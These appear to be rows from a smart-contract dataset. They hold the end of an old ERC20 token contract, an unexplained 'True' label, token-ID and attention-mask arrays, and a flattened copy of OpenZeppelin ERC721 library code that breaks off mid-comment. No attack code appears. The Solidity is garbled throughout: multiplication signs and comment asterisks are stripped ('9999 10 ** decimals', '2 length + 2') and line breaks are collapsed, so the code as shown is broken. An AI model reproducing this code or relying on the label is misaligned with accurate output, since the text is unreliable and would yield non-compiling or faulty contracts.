"RBTR"; uint public constant decimals = 5; uint256 public initialSupply; function Arbitrage () { totalSupply = 9999 10 ** decimals; balances[msg.sender] = totalSupply; initialSupply = totalSupply; Transfer(0, this, totalSupply); Transfer(this, msg.sender, totalSupply); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2403, 1025, 1013, 1008, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 1013, 1008, 9413, 2278, 11387, 8278, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1008, 1013, 3206, 9413, 2278, 11387, 2003, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 1013, 1008, 3647, 18900, 2232, 1011, 1996, 7290, 3806, 3075, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 20865, 1006, 1038, 1028, 1014, 1007, 1025, 1013, 1013, 5024, 3012, 8073, 11618, 2043, 16023, 2011, 1014, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 1013, 1013, 20865, 1006, 1037, 1027, 1027, 1038, 1008, 1039, 1009, 1037, 1003, 1038, 1007, 1025, 1013, 1013, 2045, 2003, 2053, 2553, 1999, 2029, 2023, 2987, 1004, 1001, 4464, 1025, 1056, 2907, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 20865, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 2709, 1037, 1011, 1038, 1025, 1065, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 20865, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 2709, 1039, 1025, 1065, 1065, 1013, 1008, 3937, 19204, 3937, 2544, 1997, 3115, 18715, 2368, 1010, 2007, 2053, 21447, 2015, 1012, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-12-10 / // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /* * @dev ERC721 token with storage based token URI management. / abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /* * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * 